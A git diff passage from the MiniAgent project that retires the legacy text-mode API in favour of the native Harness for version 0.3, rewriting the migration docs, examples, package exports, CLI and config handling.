2,800-line -total budget is not achieved; compatibility removal requires a separate, -explicitly reviewed migration rather than silently deleting existing APIs. - -## Review follow-up and remaining acceptance - -The four reviewed interruption/status/Skill regressions have dedicated tests. -MCP route binding prevents payload fields overriding the registered remote name. -OpenAI, DeepSeek, DashScope/Qwen and Anthropic native SDK HTTP fixtures exercise -two-turn tool calls and response conversion; these are offline protocol tests. -The opt-in live suite now covers basic replies and multi-turn tool use both with -and without streaming. Run it separately for each configured provider with -`MINIAGENT_TEST_MODEL` and `python -m pytest -m live -v`; credentials are never -printed. Gateway passes are recorded separately from native-provider coverage. - -Every stacked PR has Windows/Linux × Python 3.11/3.12 regression CI. The final -PR additionally locks dependencies, checks native-runtime Ruff F rules, audits -production dependencies and installs a built wheel without optional extras. -`python scripts/minimal_install_smoke.py` requires uv on PATH and one built wheel. - -Both READMEs now document the native runtime, supported Python version, plugin -example and migration guide. CLI parameters have bounded summaries; command and -content values are hidden. Known Shell/file failures display failed status. -Logger configuration shares the file-handler implementation (206 → 86 lines), -preserving its API and cache semantics. Total source remains above the budget. - -The [v0.3 migration proposal](legacy-migration.md) covers Legacy, optional tools -and the old text parser. Current installation/startup measurements and a real -read/edit/test demo are in [the acceptance report](acceptance-2026-10-11.md). -Before/after comparison and native-provider validation remain open. -Automatic dependency recovery and interactive plugin management remain deferred. -Review readiness is not a stable-release or complete-plan acceptance claim. -Merge #6 → #7 → #8 → #9 → #10 → #11; use merge commits to preserve stacked -ancestry, or explicitly retarget/rebase each successor after a squash. The safety -and product follow-ups are in #11, so intermediate PRs are migration steps rather -than standalone release candidates. Roll back dependent PRs in reverse order. +CI covers Windows/Linux, Python 3.11/3.12, full native regression, lint, locked +production dependency audit, build and a minimum wheel install outside checkout. +Live tests require explicit MINIAGENT_TEST_MODEL and credentials. Run the +[source counter](../scripts/source_stats.py) for the current code size. Earlier +live recordings are historical evidence, not validation of this revised commit. +No stable release, universal provider compatibility or broad repository success +rate is claimed. diff --git a/docs/legacy-migration.md b/docs/legacy-migration.md index 6d0dd93..3305eeb 100644 --- a/docs/legacy-migration.md +++ b/docs/legacy-migration.md @@ -1,40 +1,67 @@ -# v0.3 compatibility migration proposal - -This is a removal plan for review, not an implemented breaking release. -v0.2.0a1 retains the existing `MiniAgent` API and `--legacy` entry point. - -## Inventory and proposed replacements - -| Retained implementation | Physical lines | Proposed migration | -| --- | ---: | --- | -| `legacy.py` and `legacy_cli.py` | 1,169 | Migrate callers to Harness and native CLI; decide support window before removal. | -| `tools/basic_tools.py` | 682 | Move optional system tools to an independently installed plugin package. | -| `utils/json_utils.py` | 304 | Remove text-tool parsing only after native-tool callers have migrated. | -| `utils/reflector.py` | 197 | Replace with an explicitly installed plugin only if real users need it. | -| `extensions/orchestrator.py` | 194 | Keep deferred; design a separate extension rather than enlarge the kernel. | - -Counts are a snapshot at commit `fccd011`; rerun `python scripts/source_stats.py` -for the current revision. -These modules are coupled: subtracting their counts does not prove that the -remaining package builds or preserves public imports. Check wrappers, exports, -registry initialization, example usage and dependency metadata together. - -## Removal gates - -1. Document public import/CLI replacements and announce the compatibility window. -2. Move optional tools with tests and a working installation path before deleting them. -3. Remove unused exports and dependencies; build and install the resulting wheel - outside the checkout. Retest plugin lifecycle, authorization and session restore. -4. Repeat source counts and the same installation/startup measurements on the - same machine; record both revisions and dependency versions. -5. Validate real provider task traces before declaring stable v0.3. Current - Anspire gateway evidence does not establish native Claude API compatibility. - -The 2,000–2,800 total-source target remains unfulfilled (4,770 package lines -at `fccd011`; the connection guide adds CLI capability and increases that total). -Keep the four-file core (521) and seven-file runtime mechanisms (823) separate -from that total. Removal must not sacrifice recovery or permission checks to hit -a line count. Dynamic dependency recovery and interactive plugin management stay deferred. - -Rollback a removal PR by reverting it and restoring its compatible dependency -metadata; preserve session data. Do not automatically replay interrupted tools. +# 原生版迁移 / Native 0.3 migration + +本分支为 **0.3.0a1 候选**,尚未发版。按维护者明确选择,新版集中原生 Harness API,旧版单独保留,不在新包内复制旧实现。 + +## 旧版在哪里 + +旧版分支:[codex/legacy-pre-harness](https://github.com/ZhuLinsen/MiniAgent/tree/codex/legacy-pre-harness),固定创建自 `b437298d60e93899f7b47964267e8513df6fd3f7`:这是 PR #7 合入提交的第一父提交,包含 #6 修复。分支内容与当时提交一致,没有用新版本覆盖旧版。 + +```bash +git clone --branch codex/legacy-pre-harness --single-branch https://github.com/ZhuLinsen/MiniAgent.git MiniAgent-legacy +``` + +在独立虚拟环境中按旧分支说明安装。旧分支是历史快照;原有模型与供应商服务是否仍可用,需要按该分支环境验证。0.2 过渡实现和完整测试仍可在本 PR 基线 `9f17af6` 的 Git 历史查看。 + +## 公开入口迁移 + +| 旧入口 | 原生版路径 | 变化 | +| --- | --- | --- | +| `MiniAgent`、`run(mode="text")`、`--legacy` | `Harness`、`app.run()` / `await app.arun()`、默认 CLI | 只使用原生工具调用,不再解析 TOOL/ARGS 文本;旧入口明确提示迁移 | +| `Memory` / `memory.json` | 显式 `Session(path)` / CLI JSONL 会话 | 保留旧文件,不自动转换;长期事实记忆暂不新增 | +| `Orchestrator` | 旧编排继续使用旧分支;原生版可用 Python 调用 Harness 并组合 Plugin | 没有内置编排器等价替代,本轮不新增子 Agent 或可替换 Loop 接口 | +| `register_tool`、全局工具目录、`load_tools` | `ctx.tool(Tool(...))`、`coding_tools()` | 工具归属各 Harness;导入文件工具不会写入全局注册表 | +| 同步 `code_tools.bash()` | `miniagent.plugins.shell()` 或 `coding_tools()` 中的 bash | 统一异步进程、超时、取消和输出上限;直接调用 shell 时超时抛异常 | +| `MCPClient` / `load_mcp_tools` | `mcp_plugin`、`miniagent[mcp]` | 官方 SDK stdio 生命周期与统一授权 | +| 内置系统、浏览器、搜索、环境变量、docx 工具 | 显式自定义 Plugin 或 MCP 服务 | 不再作为内置能力提供;原实现保留在旧分支 | +| Reflection / 文本 JSON 容错解析 | 原生模型消息和显式插件 | 移除自动反思和文本工具协议,不静默模拟旧行为 | + +包顶层的 `from miniagent import MiniAgent` 等旧入口会报迁移提示;已删除的子模块(如 `miniagent.legacy`、`miniagent.memory`)和 `miniagent.agent.MiniAgent` 不再提供导入兼容。升级前应检查项目中的这些导入,而不只是替换启动命令。 + +## 最小 Python 迁移 + +```python +from miniagent import Harness, Policy, Session +from miniagent.plugins import coding_tools + +app = Harness(model="provider:model-id", policy=Policy(mode="readonly"), + session=Session("task.jsonl")) +app.use(coding_tools()) +print(app.run("Inspect the project and explain its entry points")) +``` + +已有事件循环使用 `async with app` 和 `await app.arun(...)`。脚本用的 `app.run()` 会关闭本次运行的插件资源;会话数据保留。工具、授权、Skill 白名单、静态依赖检查与不确定副作用守卫继续有效。 + +## 配置迁移 + +JSON agent 顶层接受:`llm`、`providers`、`mcp_servers`、`system_prompt`、`context_budget`。`llm` 接受:`model`、`api_key`、`api_base`、`temperature`。未支持的字段明确报错,不继续悄悄忽略。 + +- 给模型补全 `provider:model-id`;未带前缀的 ID 统一归 OpenAI,不根据 URL 猜供应商。 +- `LLM_TEMPERATURE` 现在实际生效,JSON `llm.temperature` 可覆盖。CLI 覆盖优先级保持不变。 +- 旧 `default_tools`、`output_format`、`enable_reflection`、反思参数及未实际接线的 `llm.max_tokens` / `timeout` / `max_retries` 等需从 JSON 删除。 +- `BASH_TIMEOUT`、`BASH_MAX_OUTPUT`、`TOOL_RESULT_LIMIT` 仍通过环境生效;不再在 AgentConfig 中保留无效镜像字段。 +- `MAX_CONTEXT_MESSAGES` 改用 `context_budget` / `MINIAGENT_CONTEXT_BUDGET`。授权改用 `--policy`;所有 Shell/MCP 调用经过策略,不只匹配危险命令正则。 +- `legacy`、`docx` 安装 extra 已退役;开发测试使用 `.[dev,mcp,credentials]`。进程检查依赖 psutil 仅属于测试,不是生产运行依赖。 + +支持的连接配置和系统凭据库未迁移格式,见 [连接指南](model-connections.md)。 + +## 数据与回滚 + +现有原生 JSONL 会话可继续打开,版本校验、写锁和 resolve 语义保留。旧 Memory JSON 不自动导入或删除;需要时在旧环境读取。未知副作用始终先检查再 resolve,不自动重放。 + +回滚原生版 PR 可恢复 0.2 过渡实现;切换到旧快照使用独立环境,保留所有数据文件。此 PR 不打 tag、不发版、不合入 main。 + +## 测试与代码量 + +本 PR 直接基于 main `9f17af6`,不依赖 #13 的响应式插件和可替换 Loop,也不包含 #15 的 CLI 展示改动。相对该基线:四文件核心 **531 → 524**,运行机制 **833 → 827**,全部包 **5056 → 2031**。删除的是已退役实现,没有把它们挪到统计边界之外。 + +旧文本协议、系统工具、Memory、Orchestrator 和旧入口的专用测试随能力退役。主线的原生 Harness、模型协议、授权、会话恢复、真实本地 MCP 和连接套件保留;Skill/工具案例迁移至原生 API,文本截断边界测试继续保留,并增加退役入口、包内容、配置拒绝和示例导入回归。测试数减少不作为质量提升的证据。 diff --git a/docs/model-connections.md b/docs/model-connections.md index e4b7401..fc202bb 100644 --- a/docs/model-connections.md +++ b/docs/model-connections.md @@ -11,7 +11,7 @@ miniagent `--connect` saves setup and exits without starting a task. A normal first launch opens the guide only when a model/credential is missing, stdin is a TTY and no `--prompt` was supplied. Noninteractive automation never prompts for credentials -and returns 2 for missing configuration. `--legacy` retains explicit setup. +and returns 2 for missing configuration. Text mode is retired; see [migration](legacy-migration.md). EOF or Ctrl+C cancels initial setup. Keep provider API keys out of CLI arguments. ## Provider and model selection diff --git a/examples/code_tools_example.py b/examples/code_tools_example.py deleted file mode 100644 index c0781d9..0000000 --- a/examples/code_tools_example.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -"""Quick smoke test for code tools. - -This example is runnable directly from the repo without installing the package. -""" - -import sys -import tempfile -from pathlib import Path - -# Add project root to path -sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) - -from miniagent.tools.code_tools import read, write, edit, glob, grep, bash - - -def main() -> None: - with tempfile.TemporaryDirectory() as td: - root = Path(td) - f = root / "hello.txt" - - print(write(str(f), "a\nb\nc\n")) - print(read(str(f), offset=1, limit=5)) - print(edit(str(f), "b", "B", all=False)) - print(read(str(f), offset=1, limit=5)) - - (root / "sub").mkdir() - (root / "sub" / "x.py").write_text("print('hi')\n# TODO\n", encoding="utf-8") - - print(glob("**/*.py", path=str(root))) - print(grep("TODO", path=str(root))) - print(bash("echo miniagent")) - - -if __name__ == "__main__": - main() diff --git a/examples/config_example.json b/examples/config_example.json index 09d5d64..878de98 100644 --- a/examples/config_example.json +++ b/examples/config_example.json @@ -1,19 +1,8 @@ { - "llm": { - "model": "deepseek-chat", - "api_base": "https://api.deepseek.com/v1", - "temperature": 0.7, - "max_tokens": 1000, - "top_p": 1.0, - "frequency_penalty": 0.0, - "presence_penalty": 0.0, - "timeout": 120, - "max_retries": 3 + "llm": {"model": "gateway:model-id", "temperature": 0.7}, + "providers": { + "gateway": {"type": "openai-compatible", "base_url": "https://example.com/v1", "api_key_env": "GATEWAY_API_KEY"} }, - "system_prompt": "You are an intelligent assistant that can use various tools to help users complete tasks. You need to understand user requirements and use appropriate tools to meet these needs. When you need to use tools, please use the specified JSON format to call tools. If you don't need to use tools, please respond to the user directly.", - "default_tools": ["calculator", "web_search", "get_current_time"], - "output_format": "text", - "enable_reflection": true, - "reflection_max_iterations": 3, - "reflection_system_prompt": "You are a reflection system responsible for checking whether the AI assistant's responses and tool calls are correct. Please check tool call format, tool names, parameter completeness and answer quality. If you find problems, please suggest modifications; if everything is normal, please reply 'PASS'." -} \ No newline at end of file + "system_prompt": "Inspect existing code before making changes. Use the provided native tools.", + "context_budget": 32768 +} diff --git a/examples/custom_tools_example.py b/examples/custom_tools_example.py index e50f346..88871f2 100644 --- a/examples/custom_tools_example.py +++ b/examples/custom_tools_example.py @@ -1,150 +1,27 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- +"""A read-only native tool and owned cleanup. This calls a real provider.""" +import argparse +from miniagent import Harness, Plugin, Policy, Tool +from miniagent.config import load_config -""" -Example demonstrating custom tool registration and usage -""" -import os -import sys -from pathlib import Path -from typing import Dict -from dotenv import load_dotenv +def calculator(ctx): + ctx.tool(Tool("add_one", "Add one to an integer", { + "type": "object", "properties": {"n": {"type": "integer"}}, "required": ["n"]}, + lambda n: n + 1, access="read")) + ctx.cleanup(lambda: print("Calculator plugin closed")) -# Add project root to Python path -project_root = Path(__file__).parent.parent -sys.path.insert(0, str(project_root)) - -# Import required modules -from miniagent import MiniAgent -from miniagent.tools import register_tool, get_tool_description -from miniagent.logger import get_logger - -# Configure logging using MiniAgent's logger -logger = get_logger("custom_tools_example") - -# Custom tool functions -@register_tool -def fibonacci_calculator(n: int) -> int: - """ - Calculate the nth Fibonacci number (starting from 0) - - Args: - n: The position in the sequence (starting from 0) - """ - print(f"[Tool Call] Calculating {n}th Fibonacci number") - if n <= 0: - return 0 - elif n == 1: - return 1 - else: - a, b = 0, 1 - for _ in range(2, n + 1): - a, b = b, a + b - return b - -@register_tool -def text_analyzer(text: str) -> Dict: - """ - Analyze text content for character count, word count, sentence count and common words - - Args: - text: The text content to analyze - """ - print(f"[Tool Call] Analyzing text: {text[:50]}...") - # Basic text analysis - char_count = len(text) - words = text.split() - word_count = len(words) - sentences = text.split('.') - sentence_count = len([s for s in sentences if s.strip()]) - - # Find common words (simple implementation) - word_freq = {} - for word in words: - word = word.lower().strip('.,!?') - if word: - word_freq[word] = word_freq.get(word, 0) + 1 - - # Get top 5 common words - common_words = sorted(word_freq.items(), key=lambda x: x[1], reverse=True)[:5] - - return { - "character_count": char_count, - "word_count": word_count, - "sentence_count": sentence_count, - "common_words": dict(common_words) - } def main(): - """Main function""" - - # Load environment variables from .env file - env_path = Path(__file__).parent.parent / '.env' - if not env_path.exists(): - logger.error(f"Environment file not found at {env_path}") - logger.info("Please create a .env file based on .env.example") - return - - load_dotenv(env_path) - - # Get API key from environment variables - api_key = os.environ.get("LLM_API_KEY") - if not api_key: - logger.error("LLM_API_KEY not found in environment variables") - return - - # Create MiniAgent instance with environment variables - agent = MiniAgent( - model=os.environ.get("LLM_MODEL", "deepseek-chat"), - api_key=api_key, - base_url=os.environ.get("LLM_API_BASE", "https://api.deepseek.com/v1"), - temperature=float(os.environ.get("LLM_TEMPERATURE", "0.7")), - use_reflector=os.environ.get("ENABLE_REFLECTION", "false").lower() == "true" - ) - - # Register custom tools - agent.tools = [] - for tool_func in [fibonacci_calculator, text_analyzer]: - tool_desc = get_tool_description(tool_func) - agent.tools.append({ - "name": tool_desc["name"], - "description": tool_desc["description"], - "parameters": tool_desc["parameters"], - "executor": tool_func - }) - - # Add basic tools - from miniagent.tools.basic_tools import calculator, get_current_time - for tool_func in [calculator, get_current_time]: - tool_desc = get_tool_description(tool_func) - agent.tools.append({ - "name": tool_desc["name"], - "description": tool_desc["description"], - "parameters": tool_desc["parameters"], - "executor": tool_func - }) - - logger.info(f"Loaded tools: {[tool['name'] for tool in agent.tools]}") - - # Test query - query = """ - Let me test the custom tools: - 1. Calculate the 10th Fibonacci number - 2. Analyze this text: "The quick brown fox jumps over the lazy dog. This is a pangram that contains every letter of the alphabet." - """ - - print("\nUser Query:") - print(query) - print("-" * 50) - - # Run Agent - try: - response = agent.run(query=query) - print("\nAgent Response:") - print(response) - except Exception as e: - logger.error(f"Error running agent: {str(e)}") + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("model", help="provider:model-id") + args = parser.parse_args() + cfg = load_config(model_override=args.model) + app = Harness(model=cfg.llm.model, providers=cfg.providers, api_key=cfg.llm.api_key, + base_url=cfg.llm.api_base, temperature=cfg.llm.temperature, + policy=Policy(mode="readonly")) + app.use(Plugin("calculator", calculator)) + print(app.run("Use add_one with n=2, then report its result.")) + if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/examples/lean_harness.py b/examples/lean_harness.py index 7bf0e07..3c3d3e4 100644 --- a/examples/lean_harness.py +++ b/examples/lean_harness.py @@ -1,16 +1,24 @@ -"""Run with a configured provider:model-id and its provider-specific key.""" +"""Configured model, coding tools and durable session. This calls a real provider.""" import argparse - -from miniagent import Harness +from miniagent import Harness, Policy, Session +from miniagent.config import load_config from miniagent.plugins import coding_tools -from miniagent.policy import Policy -from miniagent.session import Session -parser = argparse.ArgumentParser() -parser.add_argument("model") -parser.add_argument("prompt") -parser.add_argument("--session", required=True) -args = parser.parse_args() -app = Harness(model=args.model, policy=Policy(mode="readonly"), session=Session(args.session)) -app.use(coding_tools()) -print(app.run(args.prompt)) + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("model", help="provider:model-id") + parser.add_argument("prompt") + parser.add_argument("--session", required=True) + args = parser.parse_args() + cfg = load_config(model_override=args.model) + app = Harness(model=cfg.llm.model, providers=cfg.providers, api_key=cfg.llm.api_key, + base_url=cfg.llm.api_base, temperature=cfg.llm.temperature, + policy=Policy(mode="readonly")) + app.session = Session(args.session) + app.use(coding_tools()) + print(app.run(args.prompt)) + + +if __name__ == "__main__": + main() diff --git a/examples/minimal_example.py b/examples/minimal_example.py deleted file mode 100644 index acd7b57..0000000 --- a/examples/minimal_example.py +++ /dev/null @@ -1,30 +0,0 @@ -"""Minimal MiniAgent example — copy this to get started! - -Before running: - 1. Copy .env.example to .env in your project directory - 2. Fill in LLM_API_KEY, LLM_MODEL, and LLM_API_BASE - 3. Run: python minimal_example.py -""" - -import os -import sys -from dotenv import load_dotenv -from miniagent import MiniAgent - -load_dotenv() - -api_key = os.getenv("LLM_API_KEY") -if not api_key: - print("Error: LLM_API_KEY not found.") - print("Please copy .env.example to .env and fill in your API key.") - sys.exit(1) - -agent = MiniAgent( - model=os.getenv("LLM_MODEL", "deepseek-chat"), - api_key=api_key, - base_url=os.getenv("LLM_API_BASE"), -) -agent.load_all_tools() - -result = agent.run("What is 42 * 1337? Use the calculator tool.") -print(result) diff --git a/examples/orchestrator_example.py b/examples/orchestrator_example.py deleted file mode 100644 index a99468f..0000000 --- a/examples/orchestrator_example.py +++ /dev/null @@ -1,44 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -""" -Agent Orchestration Example — Multi-role Task Decomposition - -The Orchestrator decomposes complex tasks into sub-tasks and assigns them -to specialized Workers (each driven by a Skill: coder, researcher, etc.). - -Usage: - uv sync # install MiniAgent first - # or: pip install -e . - uv run python examples/orchestrator_example.py -""" - -from miniagent import Orchestrator - - -def basic_orchestration(): - """Run a complex task with automatic planning and role assignment.""" - orch = Orchestrator( - model="deepseek-chat", - api_key="your_api_key", - base_url="https://api.deepseek.com/v1", - ) - - # The orchestrator will automatically: - # 1. Analyze the task and create a plan - # 2. Assign sub-tasks to appropriate skills (researcher, coder, tester) - # 3. Execute each sub-task with a specialized worker agent - # 4. Collect and summarize results - result = orch.run("Research Python async patterns, write a demo and test it") - print("=== Orchestration Result ===") - print(result) - - -if __name__ == "__main__": - print("Agent Orchestration Example") - print("=" * 40) - print() - print("This example requires a valid API key.") - print("Set LLM_API_KEY in your .env file, then uncomment basic_orchestration().") - print() - # basic_orchestration() diff --git a/examples/simple_example.py b/examples/simple_example.py deleted file mode 100644 index 9c96448..0000000 --- a/examples/simple_example.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -""" -MiniAgent Simple Example Script -Demonstrates how to initialize and use basic MiniAgent functionality -""" - -import os -import sys -import logging -from pathlib import Path -from dotenv import load_dotenv -import traceback - -# Add project root directory to sys.path -sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) - -# Import MiniAgent main class and configuration -from miniagent.agent import MiniAgent -from miniagent.tools import register_tool, get_tool -from miniagent.logger import get_logger - -# Configure logging using MiniAgent's logger -logger = get_logger("example_script") - -def main(): - """ - Simple example using MiniAgent - Demonstrates how to initialize, load tools and execute queries - """ - try: - # Load environment variables from .env file - env_path = Path(__file__).parent.parent / '.env' - if not env_path.exists(): - logger.error(f"Environment file not found at {env_path}") - logger.info("Please create a .env file based on .env.example") - return - - load_dotenv(env_path) - - # Get API key from environment variables - api_key = os.environ.get("LLM_API_KEY") - if not api_key: - logger.error("LLM_API_KEY not found in environment variables") - return - - # Initialize MiniAgent with environment variables - logger.info("Initializing MiniAgent...") - agent = MiniAgent( - model=os.environ.get("LLM_MODEL", "deepseek-chat"), - api_key=api_key, - base_url=os.environ.get("LLM_API_BASE", "https://api.deepseek.com/v1"), - temperature=float(os.environ.get("LLM_TEMPERATURE", "0.7")), - system_prompt="You are a helpful assistant that can use tools to answer questions. When you need information, use the appropriate tools.", - use_reflector=True - ) - - # Load tools - logger.info("Loading tools...") - # Explicitly load each required tool - agent.tools = [] # Clear existing tools - agent.load_builtin_tool("calculator") - agent.load_builtin_tool("get_current_time") - agent.load_builtin_tool("system_info") - - # Print loaded tools - logger.info(f"Loaded tools: {[tool['name'] for tool in agent.tools]}") - - # Prepare user query - user_query = "What is the current time? Please provide a system information overview." - logger.info(f"User query: {user_query}") - - # Execute query using the run method - print("\n" + "-"*50) - print("MiniAgent Example - Using Tools") - print("-"*50) - print("User query:", user_query) - print("-"*50) - - # Use run method for tool execution with formatted text approach - response = agent.run(user_query) - - # Log response - logger.info(f"Agent response: {response}") - - # Print response results - print("Agent response:") - print(response) - print("-"*50) - - except Exception as e: - logger.error(f"Error during execution: {e}") - traceback.print_exc() - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/examples/skill_example.py b/examples/skill_example.py index c79b229..5f8d2af 100644 --- a/examples/skill_example.py +++ b/examples/skill_example.py @@ -1,68 +1,24 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -""" -Skill System Example — Reusable Agent Configurations - -Skills bundle a system prompt + tool whitelist + parameters into a reusable config. -MiniAgent ships 4 built-in skills: coder, researcher, reviewer, tester. - -Usage: - uv sync # install MiniAgent first - # or: pip install -e . - uv run python examples/skill_example.py -""" - -from miniagent import MiniAgent, Skill, register_skill, get_skill, list_skills - - -def show_builtin_skills(): - """List all available skills.""" - print("=== Built-in Skills ===") - for name in list_skills(): - skill = get_skill(name) - tools = ", ".join(skill.tools) if skill.tools else "all" - print(f" {name}: tools=[{tools}], temperature={skill.temperature}") - print() - - -def use_builtin_skill(): - """Load a built-in skill onto an agent.""" - agent = MiniAgent( - model="deepseek-chat", - api_key="your_api_key", - base_url="https://api.deepseek.com/v1", - ) - agent.load_all_tools() - - # Load "coder" skill — sets coding-focused prompt and filters tools - agent.load_skill("coder") - print(f"Loaded skill 'coder'. Agent now has {len(agent.tools)} tools.") - print(f"Tools: {[t['name'] for t in agent.tools]}") - print() - - -def register_custom_skill(): - """Register and use a custom skill.""" - register_skill(Skill( - name="devops", - prompt="You are a DevOps engineer. Focus on CI/CD, Docker, and infrastructure.", - tools=["bash", "read", "write"], - temperature=0.3, - )) - - agent = MiniAgent( - model="deepseek-chat", - api_key="your_api_key", - base_url="https://api.deepseek.com/v1", - ) - agent.load_all_tools() - agent.load_skill("devops") - print(f"Loaded custom skill 'devops'. Agent now has {len(agent.tools)} tools.") - print(f"Tools: {[t['name'] for t in agent.tools]}") +"""Apply a native Skill to the same tool registry. This calls a real provider.""" +import argparse +from miniagent import Harness, Policy, get_skill, list_skills +from miniagent.config import load_config +from miniagent.plugins import coding_tools + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("model", help="provider:model-id") + parser.add_argument("skill", choices=list_skills()) + parser.add_argument("prompt") + args = parser.parse_args() + cfg = load_config(model_override=args.model) + app = Harness(model=cfg.llm.model, providers=cfg.providers, api_key=cfg.llm.api_key, + base_url=cfg.llm.api_base, temperature=cfg.llm.temperature, + policy=Policy(mode="readonly")) + app.use(coding_tools()) + app.apply_skill(get_skill(args.skill)) + print(app.run(args.prompt)) if __name__ == "__main__": - show_builtin_skills() - use_builtin_skill() - register_custom_skill() + main() diff --git a/examples/tools_test.py b/examples/tools_test.py deleted file mode 100644 index df305b1..0000000 --- a/examples/tools_test.py +++ /dev/null @@ -1,118 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -""" -Example script to test all available tools -""" - -import os -import sys -from pathlib import Path -from dotenv import load_dotenv - -# Add project root to path -project_root = Path(__file__).parent.parent -sys.path.insert(0, str(project_root)) - -# Import required modules -from miniagent.tools import load_tools -from miniagent.logger import get_logger - -# Configure logging using MiniAgent's logger -logger = get_logger("tools_test") - -def test_basic_tools(): - """Test basic tools""" - print("\n=== Testing Basic Tools ===") - - # Test calculator - from miniagent.tools.basic_tools import calculator - result = calculator("123 * 456 + 789") - print(f"Calculator test: 123 * 456 + 789 = {result}") - - # Test get current time - from miniagent.tools.basic_tools import get_current_time - time_info = get_current_time() - print(f"Current time: {time_info['formatted']}") - - # Test system info - from miniagent.tools.basic_tools import system_info - sys_info = system_info() - print(f"System info: {sys_info['platform']} {sys_info['platform_release']}") - - # Test file stats - from miniagent.tools.basic_tools import file_stats - stats = file_stats(".", "*.py") - print(f"Python file stats: {stats['file_count']} files") - -def test_network_tools(): - """Test network tools""" - print("\n=== Testing Network Tools ===") - - # Test HTTP request - from miniagent.tools.basic_tools import http_request - response = http_request("https://api.github.com/zen") - print(f"GitHub API response: {response['data']}") - - # Test web search (requires SERPAPI_KEY) - from miniagent.tools.basic_tools import web_search - try: - results = web_search("Python programming", num_results=3) - print(f"Search results: {len(results)} items") - except Exception as e: - print(f"Search test failed: {str(e)}") - -def test_system_tools(): - """Test system tools""" - print("\n=== Testing System Tools ===") - - # Test disk usage - from miniagent.tools.basic_tools import disk_usage - usage = disk_usage("/") - print(f"Disk usage: {usage['percent_used']}%") - - # Test process list - from miniagent.tools.basic_tools import process_list - processes = process_list(limit=5) - print("Top 5 processes by CPU usage:") - for proc in processes: - print(f"- {proc['name']}: {proc['cpu_percent']}%") - - # Test system load - from miniagent.tools.basic_tools import system_load - load = system_load() - print(f"System load: CPU {load['cpu']['percent']}%, Memory {load['memory']['percent']}%") - - -def test_code_tools(): - """Test code editing tools""" - print("\n=== Testing Code Tools ===") - - import tempfile - from pathlib import Path - - from miniagent.tools.code_tools import read, write, edit, glob, grep, bash - - with tempfile.TemporaryDirectory() as td: - root = Path(td) - f = root / "t.txt" - print(write(str(f), "one\ntwo\nthree\n")) - print(read(str(f), offset=1, limit=10)) - print(edit(str(f), "two", "TWO", all=False)) - print(grep("TWO", path=str(root))) - print(glob("**/*.txt", path=str(root))) - print(bash("echo ok")) - -def main(): - """Main function""" - # Load environment variables - load_dotenv() - - # Test all tools - test_basic_tools() - test_network_tools() - test_system_tools() - test_code_tools() - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/miniagent/__init__.py b/miniagent/__init__.py index 1d0d6cc..4b809f7 100644 --- a/miniagent/__init__.py +++ b/miniagent/__init__.py @@ -1,37 +1,18 @@ -"""MiniAgent: eager Harness/Skills exports; legacy and extensions load on demand.""" - -from __future__ import annotations - -from typing import Any - +"""Python-native mini harness and coding agent.""" from .harness import Harness, Plugin +from .policy import Policy +from .session import Session +from .tools.registry import Tool from .skills import Skill, register_skill, get_skill, list_skills -__version__ = "0.2.0a1" - +__version__ = "0.3.0a1" __all__ = [ - "MiniAgent", - "Harness", - "Plugin", - "Orchestrator", - "load_mcp_tools", - "Skill", - "register_skill", - "get_skill", - "list_skills", - "__version__", + "Harness", "Plugin", "Policy", "Session", "Tool", + "Skill", "register_skill", "get_skill", "list_skills", "__version__", ] -# Extensions stay lazy — they pull in heavier deps -def __getattr__(name: str) -> Any: - if name == "MiniAgent": - from .legacy import MiniAgent - return MiniAgent - if name == "Orchestrator": - from .orchestrator import Orchestrator - return Orchestrator - if name == "load_mcp_tools": - from .mcp_client import load_mcp_tools - return load_mcp_tools +def __getattr__(name): + if name in {"MiniAgent", "Memory", "Orchestrator", "load_mcp_tools"}: + raise ImportError(f"{name} was retired in MiniAgent 0.3. Use Harness, Session, Plugin or mcp_plugin; see docs/legacy-migration.md and codex/legacy-pre-harness.") raise AttributeError(name) diff --git a/miniagent/agent.py b/miniagent/agent.py index fd86989..1fc1380 100644 --- a/miniagent/agent.py +++ b/miniagent/agent.py @@ -1,17 +1,10 @@ -"""Native agent loop; the legacy teaching API is a compatibility import.""" +"""Native agent loop driven through the Harness-owned tool boundary.""" import json import os from .utils.text_utils import smart_truncate -def __getattr__(name): - if name in {"MiniAgent", "_DANGEROUS_RE"}: - from . import legacy - return getattr(legacy, name) - raise AttributeError(name) - - async def agent_loop(app, query, *, max_steps=10, stream=None): """Native loop shared by the Harness; messages never contain SDK objects.""" if max_steps < 1: diff --git a/miniagent/cli.py b/miniagent/cli.py index 214bdf2..78a9d1c 100644 --- a/miniagent/cli.py +++ b/miniagent/cli.py @@ -1,4 +1,4 @@ -"""CLI entry point. Native Harness is default; legacy text teaching mode is opt-in.""" +"""CLI entry point for the native Harness.""" import argparse import asyncio import sys @@ -8,11 +8,9 @@ def main(argv=None): argv = list(sys.argv[1:] if argv is None else argv) - if "--legacy" in argv: - from .legacy_cli import main as legacy_main - argv.remove("--legacy") - return legacy_main(argv) parser = argparse.ArgumentParser(prog="miniagent") + if "--legacy" in argv: + parser.error("Text mode was retired in 0.3. Use the native CLI or the codex/legacy-pre-harness branch; see docs/legacy-migration.md.") parser.add_argument("--version", "-V", action="version", version=f"%(prog)s {__version__}") parser.add_argument("--config", help="Configuration JSON") parser.add_argument("--connect", action="store_true", help="Configure a model interactively and exit") diff --git a/miniagent/config.py b/miniagent/config.py index 0344d50..f3a1649 100644 --- a/miniagent/config.py +++ b/miniagent/config.py @@ -4,8 +4,8 @@ import os import json -from typing import Dict, Any, Optional, List -from dataclasses import dataclass, field +from typing import Dict, Any, Optional +from dataclasses import dataclass, field, fields from .connections import credential, read_profiles # Try to import dotenv if installed @@ -26,13 +26,7 @@ class LLMConfig: model: str = "" api_key: Optional[str] = None api_base: 